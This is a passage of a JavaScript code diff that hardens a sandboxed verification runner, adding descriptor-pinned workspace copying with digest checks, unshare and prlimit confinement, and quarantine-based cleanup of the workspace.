deny('git_identity_unverified', 'candidate'); + } + const result = await collectChildOutput(child, GIT_AUDIT_TIMEOUT_MS); + if (names[index] === 'head' && result.code !== 0) deny('git_identity_unverified', 'candidate'); + outputs[names[index]] = result.stdout.toString('utf8'); } - const result = await collectChildOutput(child, GIT_AUDIT_TIMEOUT_MS); - if (names[index] === 'head' && result.code !== 0) deny('git_identity_unverified', 'candidate'); - outputs[names[index]] = result.stdout.toString('utf8'); + const head = STRING_REPLACE(outputs.head, /\s+/gu, ''); + assertBaseSha(head, 'candidate.head_sha'); + return freezeRecord(capturedFreeze([ + 'config', 'gitdir', 'head_sha', 'refs', 'status', 'worktrees', + ]), { + head_sha: head, + status: outputs.status, + refs: outputs.refs, + config: outputs.config, + worktrees: outputs.worktrees, + gitdir: STRING_REPLACE(outputs.gitdir, /\s+$/gu, ''), + }); + } finally { + closeQuiet(gitFd); } - const head = STRING_REPLACE(outputs.head, /\s+/gu, ''); - assertBaseSha(head, 'candidate.head_sha'); - return freezeRecord(capturedFreeze([ - 'config', 'gitdir', 'head_sha', 'refs', 'status', 'worktrees', - ]), { - head_sha: head, - status: outputs.status, - refs: outputs.refs, - config: outputs.config, - worktrees: outputs.worktrees, - gitdir: STRING_REPLACE(outputs.gitdir, /\s+$/gu, ''), - }); } function defaultSpawn(file, args, options) { if (options.shell !== false) deny('shell_content_denied', 'execution'); if (options.networkMode !== 'deny') deny('network_allowlist_unsupported', 'execution.network'); - const confinementArgs = [ - '--user', '--pid', '--fork', '--net', '--', file, - ]; - for (let index = 0; index < args.length; index += 1) { - ARRAY_PUSH.call(confinementArgs, args[index]); + const execFd = options.executableFd; + const workspaceFd = options.workspaceFd; + const limits = options.resourceLimits; + if (!NUMBER_IS_SAFE_INTEGER(execFd) || execFd < 0) deny('executable_not_runnable', 'execution'); + if (!NUMBER_IS_SAFE_INTEGER(workspaceFd) || workspaceFd < 0) deny('workspace_unreadable', 'workspace'); + if (limits === undefined || !NUMBER_IS_SAFE_INTEGER(limits.cpu_seconds) + || !NUMBER_IS_SAFE_INTEGER(limits.address_space_bytes) + || !NUMBER_IS_SAFE_INTEGER(limits.nproc)) { + deny('resource_bound_unavailable', 'execution'); + } + const unshareFd = openNoFollow( + UNSHARE_EXECUTABLE, OPEN_NOFOLLOW_READ, 'execution', 'network_isolation_unavailable', + ); + const prlimitFd = openNoFollow( + PRLIMIT_EXECUTABLE, OPEN_NOFOLLOW_READ, 'execution', 'resource_bound_unavailable', + ); + try { + assertPinnedRegularFile( + fstatOrDeny(unshareFd, 'execution', 'network_isolation_unavailable'), + 'execution', 'network_isolation_unavailable', + ); + assertPinnedRegularFile( + fstatOrDeny(prlimitFd, 'execution', 'resource_bound_unavailable'), + 'execution', 'resource_bound_unavailable', + ); + const confinementArgs = [ + '--user', '--pid', '--fork', '--net', '--', + '/proc/self/fd/6', + `--cpu=${limits.cpu_seconds}`, + `--as=${limits.address_space_bytes}`, + `--nproc=${limits.nproc}`, + '--', + '/proc/self/fd/3', + ]; + for (let index = 0; index < args.length; index += 1) { + ARRAY_PUSH.call(confinementArgs, args[index]); + } + return NODE_SPAWN('/proc/self/fd/5', confinementArgs, { + cwd: '/proc/self/fd/4', + env: options.env, + shell: false, + stdio: ['ignore', 'pipe', 'pipe', execFd, workspaceFd, unshareFd, prlimitFd], + windowsHide: true, + detached: false, + }); + } finally { + closeQuiet(unshareFd); + closeQuiet(prlimitFd); } - const spawnOptions = { - cwd: options.cwd, - env: options.env, - shell: false, - stdio: ['ignore', 'pipe', 'pipe'], - windowsHide: true, - detached: false, - }; - return NODE_SPAWN(UNSHARE_EXECUTABLE, confinementArgs, spawnOptions); } -async function defaultRmdirExact(record) { - await FS_RM(record.path, { recursive: true, force: false }); +async function defaultAfterQuarantinePin() {} + +async function defaultRmdirExact() { + deny('cleanup_uncertain', 'cleanup'); } function defaultAdapter() { @@ -694,6 +862,7 @@ function defaultAdapter() { lstat: (target, options) => FS_LSTAT(target, options ?? { bigint: true }), mkdir: (target, options) => FS_MKDIR(target, options), realpath: (target) => FS_REALPATH(target), + afterQuarantinePin: defaultAfterQuarantinePin, rmdirExact: defaultRmdirExact, spawn: defaultSpawn, killProcessGroup: defaultKillProcessGroup, @@ -844,6 +1013,198 @@ function buildChildEnvironment(environment) { return env; } +function copyRegularFile(srcFd, destDirFd, name, mode, size) { + const destFd = openNoFollow( + procFdPath(destDirFd, name), OPEN_NOFOLLOW_CREATE, 'workspace', 'workspace_unreadable', + ); + try { + const buf = BUFFER_ALLOC(65_536); + let pos = 0; + while (pos < size) { + let bytesRead; + try { + bytesRead = FS_READ_SYNC(srcFd, buf, 0, Math.min(buf.length, size - pos), pos); + } catch { + deny('candidate_race', 'workspace'); + } + if (bytesRead === 0) deny('candidate_race', 'workspace'); + let written = 0; + while (written < bytesRead) { + let n; + try { + n = FS_WRITE_SYNC(destFd, buf, written, bytesRead - written, pos + written); + } catch { + deny('workspace_unreadable', 'workspace'); + } + written += n; + } + pos += bytesRead; + } + try { + FS_FCHMOD_SYNC(destFd, mode); + } catch { + deny('workspace_unreadable', 'workspace'); + } + const destStat = fstatOrDeny(destFd, 'workspace', 'workspace_unreadable'); + if (destStat.size !== BigInt(size) || destStat.isSymbolicLink() || !destStat.isFile()) { + deny('candidate_race', 'workspace'); + } + } finally { + closeQuiet(destFd); + } +} + +function compareCopyPath(left, right) { + if (left.path < right.path) return -1; + if (left.path > right.path) return 1; + return 0; +} + +function digestCopyIdentity(identity) { + identity.sort(compareCopyPath); + return sha256Hex(BUFFER_FROM(canonicalJsonStringify(identity), 'utf8')); +} + +function copyDirectoryTree(srcFd, destFd, relative, depth, limits, identity) { + if (depth > COPY_MAX_DEPTH) deny('out_of_range', 'workspace'); + let names; + try { + names = FS_READDIR_SYNC(procFdPath(srcFd), { encoding: 'buffer' }); + } catch { + deny('candidate_unreadable', 'request.candidate.repository'); + } + for (let index = 0; index < names.length; index += 1) { + const name = names[index].toString('utf8'); + if (name === '.' || name === '..' || capturedTest(/[/\0]/u, name)) { + deny('candidate_unreadable', 'request.candidate.repository'); + } + limits.entries += 1; + if (limits.entries > COPY_MAX_ENTRIES) deny('out_of_range', 'workspace'); + const srcChild = procFdPath(srcFd, name); + let stat; + try { + stat = FS_LSTAT_SYNC(srcChild, { bigint: true }); + } catch { + deny('candidate_unreadable', 'request.candidate.repository'); + } + const rel = relative === '' ? name : `${relative}/${name}`; + if (stat.isSymbolicLink()) deny('symlink_denied', 'workspace'); + if (stat.isDirectory()) { + const mode = entryMode(stat); + try { + FS_MKDIR_SYNC(procFdPath(destFd, name), { mode, recursive: false }); + } catch { + deny('workspace_unreadable', 'workspace'); + } + const childSrc = openNoFollow(srcChild, OPEN_NOFOLLOW_DIR, 'workspace', 'candidate_unreadable'); + const childDest = openNoFollow( + procFdPath(destFd, name), OPEN_NOFOLLOW_DIR, 'workspace', 'workspace_unreadable', + ); + try { + ARRAY_PUSH.call(identity, capturedFreeze({ kind: 'directory', mode: STRING(mode), path: rel })); + copyDirectoryTree(childSrc, childDest, rel, depth + 1, limits, identity); + } finally { + closeQuiet(childSrc); + closeQuiet(childDest); + } + continue; + } + if (!stat.isFile() || stat.isBlockDevice() || stat.isCharacterDevice() + || stat.isFIFO() || stat.isSocket() || isSparseRegular(stat)) { + deny('special_file_denied', 'workspace'); + } + if (stat.size > BigInt(COPY_MAX_FILE_BYTES)) deny('out_of_range', 'workspace'); + limits.bytes += Number(stat.size); + if (limits.bytes > COPY_MAX_TOTAL_BYTES) deny('out_of_range', 'workspace'); + const srcFile = openNoFollow(srcChild, OPEN_NOFOLLOW_READ, 'workspace', 'candidate_unreadable'); + try { + const opened = fstatOrDeny(srcFile, 'workspace', 'candidate_unreadable'); + if (!sameIdentity(opened, stat) || opened.isSymbolicLink() || !opened.isFile()) { + deny('candidate_race', 'workspace'); + } + const mode = entryMode(stat); + copyRegularFile(srcFile, destFd, name, mode, Number(stat.size)); + ARRAY_PUSH.call(identity, capturedFreeze({ + digest: hashFdSync(srcFile), + kind: 'file', + mode: STRING(mode), + path: rel, + size: STRING(stat.size), + })); + } finally { + closeQuiet(srcFile); + } + } +} + +function walkCopyIdentity(dirFd, relative, depth, identity) { + if (depth > COPY_MAX_DEPTH) deny('out_of_range', 'workspace'); + let names; + try { + names = FS_READDIR_SYNC(procFdPath(dirFd), { encoding: 'buffer' }); + } catch { + deny('workspace_unreadable', 'workspace'); + } + for (let index = 0; index < names.length; index += 1) { + const name = names[index].toString('utf8'); + if (name === '.' || name === '..' || capturedTest(/[/\0]/u, name)) { + deny('workspace_unreadable', 'workspace'); + } + const rel = relative === '' ? name : `${relative}/${name}`; + const child = procFdPath(dirFd, name); + let stat; + try { + stat = FS_LSTAT_SYNC(child, { bigint: true }); + } catch { + deny('workspace_unreadable', 'workspace'); + } + if (stat.isSymbolicLink()) deny('symlink_denied', 'workspace'); + if (stat.isDirectory()) { + ARRAY_PUSH.call(identity, capturedFreeze({ + kind: 'directory', mode: STRING(entryMode(stat)), path: rel, + })); + const childFd = openNoFollow(child, OPEN_NOFOLLOW_DIR, 'workspace', 'workspace_unreadable'); + try { + walkCopyIdentity(childFd, rel, depth + 1, identity); + } finally { + closeQuiet(childFd); + } + continue; + } + if (!stat.isFile()) deny('special_file_denied', 'workspace'); + const fileFd = openNoFollow(child, OPEN_NOFOLLOW_READ, 'workspace', 'workspace_unreadable'); + try { + ARRAY_PUSH.call(identity, capturedFreeze({ + digest: hashFdSync(fileFd), + kind: 'file', + mode: STRING(entryMode(stat)), + path: rel, + size: STRING(stat.size), + })); + } finally { + closeQuiet(fileFd); + } + } +} + +function materializeCandidateCopy(sourcePath, destFd) { + const srcFd = openNoFollow( + sourcePath, OPEN_NOFOLLOW_DIR, 'request.candidate.repository', 'candidate_unreadable', + ); + try { + const identity = []; + const limits = { bytes: 0, entries: 0 }; + copyDirectoryTree(srcFd, destFd, '', 0, limits, identity); + const copyDigest = digestCopyIdentity(identity); + const verify = []; + walkCopyIdentity(destFd, '', 0, verify); + if (!equalDigest(copyDigest, digestCopyIdentity(verify))) deny('candidate_race', 'workspace'); + return copyDigest; + } finally { + closeQuiet(srcFd); + } +} + async function createWorkspace(adapter, candidate) { const root = adapter.tmpRoot(); if (typeof root !== 'string' || !PATH_IS_ABSOLUTE(root) || PATH_RESOLVE(root) !== root) { @@ -851,71 +1212,275 @@ async function createWorkspace(adapter, candidate) { } const rootEntry = await lstatOrDeny(adapter, root, 'workspace', 'workspace_unreadable'); if (rootEntry.isSymbolicLink() || !rootEntry.isDirectory()) deny('symlink_denied', 'workspace'); + const parentId = adapter.randomId(); const id = adapter.randomId(); - if (typeof id !== 'string' || !capturedTest(WORKSPACE_ID_PATTERN, id)) { + if (typeof parentId !== 'string' || !capturedTest(WORKSPACE_ID_PATTERN, parentId) + || typeof id !== 'string' || !capturedTest(WORKSPACE_ID_PATTERN, id)) { + deny('workspace_unreadable', 'workspace'); + } + const parentName = `${WORKSPACE_PARENT_PREFIX}${parentId}`; + const workspaceName = `${WORKSPACE_NAME_PREFIX}${id}`; + const parentPath = PATH_JOIN(root, parentName); + const workspacePath = PATH_JOIN(parentPath, workspaceName); + if (PATH_RESOLVE(parentPath) !== parentPath || PATH_RESOLVE(workspacePath) !== workspacePath) { deny('workspace_unreadable', 'workspace'); } - const workspacePath = PATH_JOIN(root, `${WORKSPACE_NAME_PREFIX}${id}`); - if (PATH_RESOLVE(workspacePath) !== workspacePath) deny('workspace_unreadable', 'workspace'); - if (isPathInside(candidate.repository, workspacePath) + if (isPathInside(candidate.repository, parentPath) + || isPathInside(parentPath, candidate.repository) + || isPathInside(candidate.repository, workspacePath) || isPathInside(workspacePath, candidate.repository) - || workspacePath === root || workspacePath === '/' || workspacePath === candidate.repository) { + || workspacePath === root || workspacePath === '/' || parentPath === '/' + || workspacePath === candidate.repository || parentPath === candidate.repository) { deny('workspace_overlap_denied', 'workspace'); } try { - await adapter.mkdir(workspacePath, { recursive: false, mode: WORKSPACE_MODE }); + await adapter.mkdir(parentPath, { recursive: false, mode: WORKSPACE_MODE }); } catch { deny('workspace_unreadable', 'workspace'); } - const entry = await lstatOrDeny(adapter, workspacePath, 'workspace', 'workspace_unreadable'); - if (entry.isSymbolicLink()) deny('symlink_denied', 'workspace'); - if (!entry.isDirectory()) deny('special_file_denied', 'workspace'); - let resolved; + const parentFd = openNoFollow(parentPath, OPEN_NOFOLLOW_DIR, 'workspace', 'workspace_unreadable'); + const parentStat = fstatOrDeny(parentFd, 'workspace', 'workspace_unreadable'); + if (parentStat.isSymbolicLink() || !parentStat.isDirectory()) deny('symlink_denied', 'workspace'); try { - resolved = await adapter.realpath(workspacePath); + await adapter.mkdir(workspacePath, { recursive: false, mode: WORKSPACE_MODE }); } catch { + closeQuiet(parentFd); deny('workspace_unreadable', 'workspace'); } - if (resolved !== workspacePath) deny('symlink_denied', 'workspace'); - return capturedFreeze({ - path: workspacePath, - root, + const dirFd = openNoFollow( + procFdPath(parentFd, workspaceName), OPEN_NOFOLLOW_DIR, 'workspace', 'workspace_unreadable', + ); + const entry = fstatOrDeny(dirFd, 'workspace', 'workspace_unreadable'); + if (entry.isSymbolicLink() || !entry.isDirectory()) { + closeQuiet(dirFd); + closeQuiet(parentFd); + deny('symlink_denied', 'workspace'); + } + let copyDigest; + try { + copyDigest = materializeCandidateCopy(candidate.repository, dirFd); + } catch (error) { + closeQuiet(dirFd); + closeQuiet(parentFd); + throw error; + } + return { + copyDigest, + cwd: procFdPath(dirFd), dev: entry.dev, + dirFd, + id, ino: entry.ino, mode: entry.mode, - }); + name: workspaceName, + parentDev: parentStat.dev, + parentFd, + parentIno: parentStat.ino, + parentPath, + path: workspacePath, + root, + }; +} + +function closeWorkspaceFds(record) { + if (record === undefined) return; + closeQuiet(record.dirFd); + closeQuiet(record.parentFd); + record.dirFd = -1; + record.parentFd = -1; +} + +function sameDirPin(left, right) { + return left.dev === right.dev && left.ino === right.ino; } -function assertExactWorkspace(record, entry, resolved) { - if (record.path === '/' || record.path === record.root) deny('cleanup_uncertain', 'cleanup'); - if (!isPathInside(record.root, record.path) || record.path === record.root) { +function cleanupFdPath(fd, name) { + if (!NUMBER_IS_SAFE_INTEGER(fd) || fd < 0) deny('cleanup_uncertain', 'cleanup'); + if (name === undefined) return `/proc/self/fd/${fd}`; + if (typeof name !== 'string' || name.length === 0 || name === '.' || name === '..' + || capturedTest(/[/\0]/u, name)) { deny('cleanup_uncertain', 'cleanup'); } - if (PATH_RELATIVE(record.root, record.path).includes('..')) deny('cleanup_uncertain', 'cleanup'); - if (entry.isSymbolicLink() || !entry.isDirectory()) deny('cleanup_uncertain', 'cleanup'); - if (entry.dev !== record.dev || entry.ino !== record.ino) deny('cleanup_uncertain', 'cleanup'); - if (resolved !== record.path) deny('cleanup_uncertain', 'cleanup'); + return `/proc/self/fd/${fd}/${name}`; } -async function removeExactWorkspace(adapter, record) { - if (record === undefined || typeof record.path !== 'string' || !PATH_IS_ABSOLUTE(record.path)) { +function openCleanupDir(target) { + let fd; + try { + fd = FS_OPEN_SYNC(target, OPEN_NOFOLLOW_DIR); + } catch { deny('cleanup_uncertain', 'cleanup'); } - if (PATH_RESOLVE(record.path) !== record.path) deny('cleanup_uncertain', 'cleanup'); - const entry = await lstatOrDeny(adapter, record.path, 'cleanup', 'cleanup_uncertain'); - let resolved; + return fd; +} + +function assertPinnedDirectory(stat, expectedDev, expectedIno) { + if (expectedDev !== undefined && (stat.dev !== expectedDev || stat.ino !== expectedIno)) { + deny('cleanup_uncertain', 'cleanup'); + } + if (stat.isSymbolicLink() || !stat.isDirectory()) deny('cleanup_uncertain', 'cleanup'); +} + +function emptyPinnedDirectory(dirFd, expectedDev, expectedIno, depth) { + if (depth > COPY_MAX_DEPTH) deny('cleanup_uncertain', 'cleanup'); + const pinned = fstatOrDeny(dirFd, 'cleanup', 'cleanup_uncertain'); + assertPinnedDirectory(pinned, expectedDev, expectedIno); + let names; + try { + names = FS_READDIR_SYNC(cleanupFdPath(dirFd), { encoding: 'buffer' }); + } catch { + deny('cleanup_uncertain', 'cleanup'); + } + for (let index = 0; index < names.length; index += 1) { + const name = names[index].toString('utf8'); + if (name === '.' || name === '..' || capturedTest(/[/\0]/u, name)) { + deny('cleanup_uncertain', 'cleanup'); + } + const childPath = cleanupFdPath(dirFd, name); + let stat; + try { + stat = FS_LSTAT_SYNC(childPath, { bigint: true }); + } catch { + deny('cleanup_uncertain', 'cleanup'); + } + if (stat.isDirectory()) { + const childFd = openCleanupDir(childPath); + try { + const opened = fstatOrDeny(childFd, 'cleanup', 'cleanup_uncertain'); + if (!sameDirPin(opened, stat) || opened.isSymbolicLink() || !opened.isDirectory()) { + deny('cleanup_uncertain', 'cleanup'); + } + emptyPinnedDirectory(childFd, opened.dev, opened.ino, depth + 1); + } finally { + closeQuiet(childFd); + } + try { + const remaining = FS_LSTAT_SYNC(childPath, { bigint: true }); + if (!sameDirPin(remaining, stat) || remaining.isSymbolicLink() || !remaining.isDirectory()) { + deny('cleanup_uncertain', 'cleanup'); + } + FS_RMDIR_SYNC(childPath); + } catch (error) { + if (error && error.name === 'RunContractV1Error') throw error; + deny('cleanup_uncertain', 'cleanup'); + } + continue; + } + try { + FS_UNLINK_SYNC(childPath); + } catch { + deny('cleanup_uncertain', 'cleanup'); + } + } + let leftover; try { - resolved = await adapter.realpath(record.path); + leftover = FS_READDIR_SYNC(cleanupFdPath(dirFd), { encoding: 'buffer' }); } catch { deny('cleanup_uncertain', 'cleanup'); } - assertExactWorkspace(record, entry, resolved); + if (leftover.length !== 0) deny('cleanup_uncertain', 'cleanup'); +} + +function unlinkQuarantineName(parentFd, qName, expectedDev, expectedIno) { + const namePath = cleanupFdPath(parentFd, qName); + let nameStat; + try { + nameStat = FS_LSTAT_SYNC(namePath, { bigint: true }); + } catch { + deny('cleanup_uncertain', 'cleanup'); + } + assertPinnedDirectory(nameStat, expectedDev, expectedIno); + try { + FS_RMDIR_SYNC(namePath); + } catch { + deny('cleanup_uncertain', 'cleanup'); + } +} + +function assertQuarantineAbsent(parentFd, qName) { try { - await adapter.rmdirExact(record); + FS_LSTAT_SYNC(cleanupFdPath(parentFd, qName), { bigint: true }); } catch (error) { if (error && error.name === 'RunContractV1Error') throw error; + if (error && error.code === 'ENOENT') return; deny('cleanup_uncertain', 'cleanup'); } + deny('cleanup_uncertain', 'cleanup'); +} + +async function invokeAfterQuarantinePin(adapter, record, qName, qFd) { + if (typeof adapter.afterQuarantinePin !== 'function') return; + await adapter.afterQuarantinePin({ + dev: record.dev, + dirFd: record.dirFd, + ino: record.ino, + name: record.name, + parentFd: record.parentFd, + parentPath: record.parentPath, + path: record.path, + qFd, + qName, + }); +} + +async function removeExactWorkspace(adapter, record) { + if (record === undefined || !NUMBER_IS_SAFE_INTEGER(record.parentFd) || record.parentFd < 0 + || !NUMBER_IS_SAFE_INTEGER(record.dirFd) || record.dirFd < 0 + || typeof record.name !== 'string' || typeof record.id !== 'string' + || !STRING_STARTS_WITH(record.name, WORKSPACE_NAME_PREFIX) + || !capturedTest(WORKSPACE_ID_PATTERN, record.id) + || record.parentPath === '/' || record.path === '/' || record.path === record.parentPath) { + deny('cleanup_uncertain', 'cleanup'); + } + const qName = `${QUARANTINE_NAME_PREFIX}${record.id}`; + if (qName === record.name || !STRING_STARTS_WITH(qName, QUARANTINE_NAME_PREFIX)) { + deny('cleanup_uncertain', 'cleanup'); + } + let qFd = -1; + try { + try { + FS_RENAME_SYNC( + cleanupFdPath(record.parentFd, record.name), cleanupFdPath(record.parentFd, qName), + ); + } catch { + deny('cleanup_uncertain', 'cleanup'); + } + qFd = openCleanupDir(cleanupFdPath(record.parentFd, qName)); + const qStat = fstatOrDeny(qFd, 'cleanup', 'cleanup_uncertain'); + const pinned = fstatOrDeny(record.dirFd, 'cleanup', 'cleanup_uncertain'); + if (!sameDirPin(qStat, record) || !sameDirPin(pinned, record) + || qStat.isSymbolicLink() || !qStat.isDirectory() + || pinned.isSymbolicLink() || !pinned.isDirectory()) { + deny('cleanup_uncertain', 'cleanup'); + } + await invokeAfterQuarantinePin(adapter, record, qName, qFd); + emptyPinnedDirectory(qFd, record.dev, record.ino, 0); + const qAfter = fstatOrDeny(qFd, 'cleanup', 'cleanup_uncertain'); + const pinnedAfter = fstatOrDeny(record.dirFd, 'cleanup', 'cleanup_uncertain'); + if (!sameDirPin(qAfter, record) || !sameDirPin(pinnedAfter, record) + || qAfter.isSymbolicLink() || !qAfter.isDirectory() + || pinnedAfter.isSymbolicLink() || !pinnedAfter.isDirectory()) { + deny('cleanup_uncertain', 'cleanup'); + } + unlinkQuarantineName(record.parentFd, qName, record.dev, record.ino); + assertQuarantineAbsent(record.parentFd, qName); + const parentStat = fstatOrDeny(record.parentFd, 'cleanup', 'cleanup_uncertain'); + if (parentStat.dev !== record.parentDev || parentStat.ino !== record.parentIno + || parentStat.isSymbolicLink() || !parentStat.isDirectory()) { + deny('cleanup_uncertain', 'cleanup'); + } + try { + FS_RMDIR_SYNC(record.parentPath); + } catch { + deny('cleanup_uncertain', 'cleanup'); + } + } finally { + closeQuiet(qFd); + closeQuiet(record.dirFd); + closeQuiet(record.parentFd); + record.dirFd = -1; + record.parentFd = -1; + } } function waitStreamEnded(stream) { @@ -961,44 +1526,104 @@ function attachCappedStream(stream, maxBytes, onFlood) { }; } -async function runApprovedOnce(adapter, intent, cwd, env, markSpawned) { +function pinApprovedExecutable(executable) { + const execFd = openNoFollow( + executable, OPEN_NOFOLLOW_READ, 'request.intent.executable', 'executable_not_runnable', + ); + const preStat = fstatOrDeny(execFd, 'request.intent.executable', 'executable_not_runnable'); + assertPinnedRegularFile(preStat, 'request.intent.executable', 'executable_not_runnable'); + const mode = typeof preStat.mode === 'bigint' ? Number(preStat.mode & 0o111n) : preStat.mode & 0o111; + if (mode === 0) { + closeQuiet(execFd); + deny('executable_not_runnable', 'request.intent.executable'); + } + const preHash = hashFdSync(execFd); + return { execFd, preHash, preStat }; +} + +function assertExecutableIdentityHeld(executable, pin) { + const postStat = fstatOrDeny(pin.execFd, 'request.intent.executable', 'executable_not_runnable'); + if (!sameIdentity(postStat, pin.preStat) || postStat.isSymbolicLink() || !postStat.isFile()) { + deny('executable_not_runnable', 'request.intent.executable'); + } + const postHash = hashFdSync(pin.execFd); + if (!equalDigest(postHash, pin.preHash)) deny('executable_not_runnable', 'request.intent.executable'); + let pathStat; + try { + pathStat = FS_LSTAT_SYNC(executable, { bigint: true }); + } catch { + deny('executable_not_runnable', 'request.intent.executable'); + } + if (pathStat.isSymbolicLink() || pathStat.dev !== pin.preStat.dev || pathStat.ino !== pin.preStat.ino) { + deny('executable_not_runnable', 'request.intent.executable'); + } +} + +async function listDescendantsOrUncertain(adapter, pid) { + let leftovers; + try { + leftovers = await adapter.listDescendants(pid); + } catch (error) { + if (error && error.name === 'RunContractV1Error') throw error; + deny('cleanup_uncertain', 'execution'); + } + if (!capturedIsArray(leftovers)) deny('cleanup_uncertain', 'execution'); + return leftovers; +} + +async function runApprovedOnce(adapter, intent, workspace, env, markSpawned) { if (intent.timeout_ms < KILL_GRACE_MS) deny('out_of_range', 'request.intent.timeout_ms'); const argv = []; for (let index = 0; index < intent.argv.length; index += 1) { ARRAY_PUSH.call(argv, intent.argv[index]); } + const limits = resourceLimitsFor(intent.timeout_ms); + const verify = []; + walkCopyIdentity(workspace.dirFd, '', 0, verify); + if (!equalDigest(workspace.copyDigest, digestCopyIdentity(verify))) { + deny('candidate_race', 'workspace'); + } + const pin = pinApprovedExecutable(intent.executable); markSpawned(); let child; try { child = adapter.spawn(intent.executable, argv, { - cwd, + cwd: workspace.cwd, env, - shell: false, + executableFd: pin.execFd, networkMode: 'deny', + resourceLimits: limits, + shell: false, stdio: ['ignore', 'pipe', 'pipe'], windowsHide: true, + workspaceFd: workspace.dirFd, detached: false, }); } catch { + closeQuiet(pin.execFd); + deny('resource_bound_unavailable', 'execution'); + } + if (!child || typeof child.on !== 'function') { + closeQuiet(pin.execFd); deny('resource_bound_unavailable', 'execution'); } - if (!child || typeof child.on !== 'function') deny('resource_bound_unavailable', 'execution'); let flooded = false; let timedOut = false; + let killConfirmed = true; let killGrace; const stdoutCap = attachCappedStream(child.stdout, intent.resources.max_output_bytes, () => { flooded = true; - try { adapter.killProcessGroup(child.pid, 'SIGKILL'); } catch { /* already dead */ } + try { adapter.killProcessGroup(child.pid, 'SIGKILL'); } catch { killConfirmed = false; } }); const stderrCap = attachCappedStream(child.stderr, intent.resources.max_error_bytes, () => { flooded = true; - try { adapter.killProcessGroup(child.pid, 'SIGKILL'); } catch { /* already dead */ } + try { adapter.killProcessGroup(child.pid, 'SIGKILL'); } catch { killConfirmed = false; } }); const timer = setTimeout(() => { timedOut = true; - try { adapter.killProcessGroup(child.pid, 'SIGTERM'); } catch { /* already dead */ } + try { adapter.killProcessGroup(child.pid, 'SIGTERM'); } catch { killConfirmed = false; } killGrace = setTimeout(() => { - try { adapter.killProcessGroup(child.pid, 'SIGKILL'); } catch { /* already dead */ } + try { adapter.killProcessGroup(child.pid, 'SIGKILL'); } catch { killConfirmed = false; } }, KILL_GRACE_MS); }, intent.timeout_ms); let exit; @@ -1014,7 +1639,6 @@ async function runApprovedOnce(adapter, intent, cwd, env, markSpawned) { child.once('error', reject); child.once('exit', (code, signal) => finish({ code, signal })); stuckTimer = setTimeout(() => { - timedOut = true; finish({ code: null, signal: null, stuck: true }); }, intent.timeout_ms + KILL_GRACE_MS + STUCK_GRACE_MS); }); @@ -1023,42 +1647,50 @@ async function runApprovedOnce(adapter, intent, cwd, env, markSpawned) { new Promise((resolve) => setTimeout(resolve, STUCK_GRACE_MS)), ]); } catch { + closeQuiet(pin.execFd); deny('resource_bound_unavailable', 'execution'); } finally { clearTimeout(timer); if (killGrace !== undefined) clearTimeout(killGrace); if (stuckTimer !== undefined) clearTimeout(stuckTimer); } - const leftovers = await adapter.listDescendants(child.pid); - if (capturedIsArray(leftovers) && leftovers.length > 0) { - for (let index = 0; index < leftovers.length; index += 1) { - try { adapter.killProcessGroup(leftovers[index], 'SIGKILL'); } catch { /* best effort */ } + try { + assertExecutableIdentityHeld(intent.executable, pin); + const leftovers = await listDescendantsOrUncertain(adapter, child.pid); + if (leftovers.length > 0) { + for (let index = 0; index < leftovers.length; index += 1) { + try { adapter.killProcessGroup(leftovers[index], 'SIGKILL'); } catch { /* best effort */ } + } + const still = await listDescendantsOrUncertain(adapter, child.pid); + if (still.length > 0) deny('escaped_descendants', 'execution'); + deny('escaped_descendants', 'execution'); + } + if (exit.stuck === true) deny('cleanup_uncertain', 'execution'); + if (killConfirmed === false) deny('cleanup_uncertain', 'execution'); + if (flooded || stdoutCap.truncated() || stderrCap.truncated()) deny('output_flood', 'execution'); + if (timedOut) deny('timeout', 'execution'); + const code = exit.code; + const signal = exit.signal; + const hasCode = code !== null && code !== undefined; + const hasSignal = signal !== null && signal !== undefined; + if (hasCode === hasSignal) deny('signal_ambiguous', 'execution'); + if (hasSignal) deny('signal_ambiguous', 'execution'); + if (typeof code !== 'number' || !NUMBER_IS_SAFE_INTEGER(code) || code < 0 || code > 255) { + deny('signal_ambiguous', 'execution'); } - const still = await adapter.listDescendants(child.pid); - if (capturedIsArray(still) && still.length > 0) deny('escaped_descendants', 'execution'); - deny('escaped_descendants', 'execution'); - } - if (flooded || stdoutCap.truncated() || stderrCap.truncated()) deny('output_flood', 'execution'); - if (timedOut) deny('timeout', 'execution'); - const code = exit.code; - const signal = exit.signal; - const hasCode = code !== null && code !== undefined; - const hasSignal = signal !== null && signal !== undefined; - if (hasCode === hasSignal) deny('signal_ambiguous', 'execution'); - if (hasSignal) deny('signal_ambiguous', 'execution'); - if (typeof code !== 'number' || !NUMBER_IS_SAFE_INTEGER(code) || code < 0 || code > 255) { - deny('signal_ambiguous', 'execution'); + return { + exit_code: code, + signal: null, + stdout_bytes: stdoutCap.bytes(), + stderr_bytes: stderrCap.bytes(), + stdout_digest: stdoutCap.digest(), + stderr_digest: stderrCap.digest(), + stdout_truncated: false, + stderr_truncated: false, + }; + } finally { + closeQuiet(pin.execFd); } - return { - exit_code: code, - signal: null, - stdout_bytes: stdoutCap.bytes(), - stderr_bytes: stderrCap.bytes(), - stdout_digest: stdoutCap.digest(), - stderr_digest: stderrCap.digest(), - stdout_truncated: false, - stderr_truncated: false, - }; } function requireEnum(allowed, value, path) { @@ -1166,6 +1798,25 @@ function freezeCandidateAudit(snapshot) { }); } +function bindCopyIdentity(snapshot, copyDigest) { + return freezeRecord(capturedFreeze([ + 'base_sha', 'config_digest', 'filesystem_digest', 'gitdir', 'head_sha', + 'refs_digest', 'status_digest', 'worktrees_digest', + ]), { + head_sha: snapshot.head_sha, + base_sha: snapshot.base_sha, + status_digest: snapshot.status_digest, + refs_digest: snapshot.refs_digest, + config_digest: snapshot.config_digest, + worktrees_digest: snapshot.worktrees_digest, + filesystem_digest: sha256Hex(BUFFER_FROM(canonicalJsonStringify({ + copy: copyDigest, + source: snapshot.filesystem_digest, + }), 'utf8')), + gitdir: snapshot.gitdir, + }); +} + export async function executeConstrainedVerificationV1(input, options = {}) { const request = parseRequest(input, 'request'); const adapter = resolveAdapter(options, 'options'); @@ -1182,12 +1833,13 @@ export async function executeConstrainedVerificationV1(input, options = {}) { }; try { workspace = await createWorkspace(adapter, candidate); + const boundBefore = bindCopyIdentity(before, workspace.copyDigest); const env = buildChildEnvironment(intent.environment); const started = adapter.nowMs(); if (typeof started !== 'number' || !NUMBER_IS_SAFE_INTEGER(started) || started < 0) { deny('clock_denied', 'execution'); } - const run = await runApprovedOnce(adapter, intent, workspace.path, env, markSpawned); + const run = await runApprovedOnce(adapter, intent, workspace, 